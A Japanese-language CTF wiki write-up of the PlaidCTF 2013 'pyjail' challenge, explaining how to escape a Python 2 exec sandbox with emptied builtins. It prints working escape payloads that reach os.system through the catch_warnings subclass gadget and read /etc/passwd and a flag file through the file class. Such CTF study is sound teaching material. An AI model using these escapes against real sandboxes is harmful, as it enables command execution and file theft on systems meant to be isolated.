pyjail wiki

PlaidCTF 2013 - pyjail

Challenge

Python 2 の古典的な pyjail。

code = raw_input()
exec code in {'__builtins__': {}}

Solution

warnings.catch_warnings

catch_warnings クラスは _module 属性を持ち、そこから builtins にアクセス可能:

# Python 2
[c for c in ().__class__.__bases__[0].__subclasses__()
if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('id')

file クラス (Python 2 限定)

Python 2 では file がビルトインクラスとして存在:

# Python 2
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# インデックスは環境依存

Python 2 と Python 3 の違い

機能Python 2Python 3
file クラスありなし
raw_inputありinput
print関数
サブクラス数

Technical Details

catch_warnings の仕組み

import warnings
with warnings.catch_warnings():
# 警告を一時的に抑制
warnings.simplefilter("ignore")

_module 属性

cw = warnings.catch_warnings()
cw._module # <module 'warnings'>
cw._module.__builtins__ # builtins 辞書

Python 2 のサブクラス探索

# Python 2
for i, c in enumerate(().__class__.__bases__[0].__subclasses__()):
print i, c
# 典型的な結果:
# 0 <type 'type'>
# 1 <type 'weakref'>
# ...
# 40 <type 'file'> # Python 2 限定
# ...
# 59 <class 'warnings.catch_warnings'>

Alternative Solutions

別解1: file クラス直接使用

# Python 2
().__class__.__bases__[0].__subclasses__()[40]('/flag.txt', 'r').read()

別解2: __import__ の復元

().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']

Historical Context

  • この問題は pyjail の古典として知られる
  • catch_warnings ガジェットは現在も有効
  • Python 3 では file クラスは存在しない

Flag

flag{...}

References

  • PlaidCTF 2013 Official
  • Python 2 documentation
  • Historic pyjail writeups